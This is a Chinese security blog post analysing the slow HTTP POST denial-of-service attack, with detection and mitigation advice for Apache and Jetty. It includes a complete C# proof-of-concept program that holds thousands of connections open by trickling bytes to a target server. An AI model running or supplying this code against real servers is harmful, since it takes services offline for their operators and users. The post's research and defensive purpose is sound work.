1. 关于HTTP POST慢速DOS攻击

HTTP Post慢速DOS攻击第一次在技术社区被正式披露是今年的OWASP大会上,由Wong Onn Chee 和 Tom Brennan共同演示了使用这一技术攻击的威力。他们的slides在这里:

http://www.darkreading.com/galleries/security/application-security/228400167/slide-show-ddos-with-the-slow-http-post-attack.html

这个攻击的基本原理如下:

针对任意HTTP Server,建立一个连接,指定一个比较大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。如果客户端持续建立这样的连接,那么服务器上可用的连接将很快被占满,从而导致DOS.

这一攻击引起我注意的原因有这几点:

1. 它可以针对任意Web服务。HTTP协议在接收到request之前是无法对请求内容作校验的,所以即使你的Web应用没有可用form表单,这个攻击一样有效。

2. 廉价。在客户端以单线程方式建立较大数量的无用连接,并保持持续发包的代价非常低廉。实际试验中一台普通PC可以建立的Socket连接在3000个以上。这对一台普通的web server,将是致命的打击。更不用说结合肉鸡群做分布式DOS了。

2. 攻击示范

为演示这个攻击,我做了一个简单的POC,C#代码如下。

using System;
using System.Collections.Generic;
using System.Text;
using System.Net.Sockets;
using System.Threading;
namespace HTTPPostDoS
{
class TestDemo
{
static void Main(string[] args)
{
string host = "target";
int port = 8080;
int max_number_of_connection = 3000;
List<TcpClient> clients = new List<TcpClient>();
for (int i = 0; i < max_number_of_connection; i++)
{
TcpClient client = new TcpClient();
clients.Add(client);
client.Connect(host, port);
if (client.Connected)
{
string header = "POST /a HTTP/1.1\r\n" +
"HOST: " + host + "\r\n" +
"Connection: keep-alive\r\n" +
"Keep-Alive: 900\r\n" +
"Content-Length: 100000000\r\n" +
"Content_Type: application/x-www-form-urlencoded\r\n" +
"Accept: *.*\r\n";
int sent = client.Client.Send(System.Text.Encoding.Default.GetBytes(header));
if (sent <= 0)
{
Console.WriteLine("Error while connecting to server");
}
else
{
Console.WriteLine("Connected");
}
}
}
while (true)
{
int i = 0;
foreach (TcpClient client in clients)
{
i++;
client.Client.Send(System.Text.Encoding.Default.GetBytes("a"));
Console.WriteLine("Client " + i + " just sent a byte.");
}
Thread.Sleep(1000);
}
}
}
}

这段代码向目标服务器的示例Web Server发起攻击,每秒钟向服务器post一个字节以保证连接不会过期。

这个攻击对Apache的效果十分明显,Apache的maxClients几乎在瞬间被hold住,浏览器在攻击进行期间无法访问测试页面。

但是针对IIS的攻击被证明没有效果,同时我还测试了公司使用最多的Jetty,有了更多有意思的发现。

3. Jetty Server 在NIO和BIO模式下对此攻击的不同反应

在针对Jetty做测试时,我发现针对不同的Jetty Connector配置,攻击的效果有天壤之别。

我们知道Jetty在配置Connector时,可以有NIO和BIO两种模式供选择。当使用BIO模式时,Jetty的max thread被瞬间耗尽,服务停止。但是在使用NIO模式时,即使客户端的恶意socket连接数已经达到3000个,但是服务依然没有受到任何影响。这个应该很好理解,由于这两种模式下的Connector直接影响到服务端处理Socket的模型。IIS的情况我不是很清楚,但是猜测MS在实现时采用了NIO Socket模型。

详细的配置情况,请参见Jetty的官方文档。

其它的Web Server,我没有做进一步测试。如有兴趣请自行验证。

4. 检测与防范

目前针对Apache服务器,官方尚没有解决方案出台。建议:

1. 检查日志,查找类似的错误报警:

[error] server reached MaxClients setting, consider raising the MaxClients setting

看看有没有被这种攻击盯上。

2. 调整防火墙设置。有条件的,在IPS上做一下规则设置。

注意这些都还只是暂时措施,因为这种攻击的变化可能很多,事实上使用HTTP GET也可以达到一样的效果。要知道GET也是可以传输数据的。

针对Jetty服务器,强烈建议使用NIO非阻塞模式,对服务器可以起到很好的保护作用。

相关阅读:

1. New HTTP POST DDoS Attack Tools Released

2. Wong Onn Chee 和Tom Brennan的Paper

3. Using HTTP POST for denial of service

补充1:我的同事,Active安全经理Eric Zhong和应用安全工程师Vian Ma对此文有贡献,谨此致谢

补充2:凤凰网的孙立先生指出,微软的IIS实现了完成端口(IOCP),IO效率相当高。这解释了为何此攻击对IIS无效。

原文地址:http://www.unclejoey.com/2010/12/28/http-post%E6%85%A2%E9%80%9Fdos%E6%94%BB%E5%87%BB%E5%88%9D%E6%8E%A2/

HTTP POST慢速DOS攻击初探相关推荐

  1. DOS攻击与网络溯源技术

    1.DoS攻击 DoS攻击(Denial of Service,拒绝服务攻击)通过消耗计算机的某种资源,例如计算资源.网络连接等,造成资源耗尽,导致服务端无法为合法用户提供服务或只能提供降级服务.在S ...

  2. Python 实现 DoS 攻击 —— UDP洪水攻击

    DoS 攻击 拒绝服务攻击(denial-of-service attack,简称DoS攻击)亦称洪水攻击,是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正 ...

  3. 针对应用层的DoS攻击

    (应用程序层攻击(也称为第7层攻击)可以是DoS或DDoS. 这些类型的攻击基于模仿人类与用户界面交互时的行为. 目标协议通常是HTTP,HTTPS,DNS,SMTP,FTP,VOIP和其他应用程序协 ...

  4. DoS攻击和DDoS攻击

    介绍 Dos攻击 DoS是Denial of Service的简称,即拒绝服务.单一的DoS攻击一般是采用一对一方式的,通过制造并发送大流量无用数据,造成通往被攻击主机的网络拥塞,耗尽其服务资源,致使 ...

  5. shell脚本:Dos 攻击防范、系统发送告警、MySQL 数据库备份单、MySQL 数据库备份多、Nginx 日志分析、网卡实时流量、服务器磁盘利用率

    系统配置初始化脚本 #/bin/bash # 设置时区并同步时间 ln -s /usr/share/zoneinfo/Asia/Shanghai /etc/localtime if ! crontab ...

  6. python dos攻击_利用SMB漏洞DoS攻击任何Windows系统

    原标题:利用SMB漏洞DoS攻击任何Windows系统 近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 " SMBLoris ",解释其能够发动拒绝服务(Dos)攻击, ...

  7. Dos攻击工具(ZAmbIE)

    简介 ZAmbIE是一款DOS攻击工具,支持各种状态的DOS攻击,用Python编写,还没有完成,但是可以使用 首先说明一下DDOS才是分布式拒绝服务攻击,DOS是拒绝服务攻击,DOS是单机操作的 下 ...

  8. Avahi DOS攻击broadcast-avahi-dos

    Avahi DOS攻击broadcast-avahi-dos Avahi是Linux下常用的类DNS服务.它可以帮助主机在没有DNS服务的局域网中,发现基于Zeroconf协议的设备和服务.该工具工作 ...

  9. DOS攻击之详解--转载

    源地址没有找到,间接引用地址:http://wushank.blog.51cto.com/3489095/1156004 DoS到底是什么?接触PC机较早的同志会直接想到微软磁盘操作系统的DOS--D ...

最新文章

  1. 使用git帮助多人开发
  2. 【Groovy】自定义 Xml 生成器 BuilderSupport ( 构造 Xml 节点类 | 封装节点名称、节点值、节点属性、子节点 | 将封装的节点数据转为 Xml 字符串 )
  3. 你知道铅酸蓄电池的常见失效模式吗?
  4. where里能用max吗_超市里四五元钱的速冻饺子能买吗?
  5. C\C++不经意间留下的知识空白------const使用
  6. 先天性异常或智力残疾儿童患者的外显子组和基因组测序:美国医学遗传学与基因组学学院循证临床指南...
  7. (二)设置hexo支持mermaid
  8. java中断线程_Java线程中断机制-如何中断线程
  9. Hibernate笔记①--myeclipse制动配置hibernate
  10. Atitit snownlp nlp 常见功能 目录 1.1. 主要功能: 1 1.2. 官网信息: 2 1.3. # 自动摘要 vs 关键词提取 2 1.4. Tf idf算法 2 1.5. p
  11. 跟着团子学SAP—SAP LTMC基础教程(物料主数据导入示例)
  12. php安装libpng,安装php:configure: error: libpng.(a|so) not found解决办法
  13. 乾颐堂现任明教教主(2014年课程)TCPIP协议详解卷一 第九节课笔记
  14. python qq机器人 2019_QQ机器人开发
  15. Debain查看ip地址
  16. 华为od机考真题-统计射击比赛成绩
  17. 制作一个浪漫温馨的生日礼物送她~html+css+javascript蓝色梦幻海洋3D相册(含音乐)
  18. 青软新获「2022年度山东省软件和信息技术服务业综合竞争力百强企业」等三项荣誉!
  19. 调岗调薪带来的法律风险
  20. 未明学院数据分析报告:金融专业如何找实习?数据分析告诉你整个金融实习市场全貌!

热门文章

  1. overflow超出显示_[CSS]text-overflow: ellipsis;什么时候可能不生效?
  2. 大根堆的删除c语言,二叉堆(一)之 C语言详解
  3. Awcing算法---区间合并
  4. Linux终端C语言实现图片拷贝
  5. 使用Python,dlib中新型、更快、更小的5点面部标志检测器检测人脸、眼睛、鼻子
  6. 多路三线RTD电阻温度采集电路设计方案
  7. kset_create_and_add
  8. 计算机系统结构 网易云课堂,计算机系统结构 (三) CPU及其结构分析
  9. 高精地图:为自动驾驶汽车提供动力的新时代地图
  10. centos 6.8 x86_64下autoconf版本升级到2.69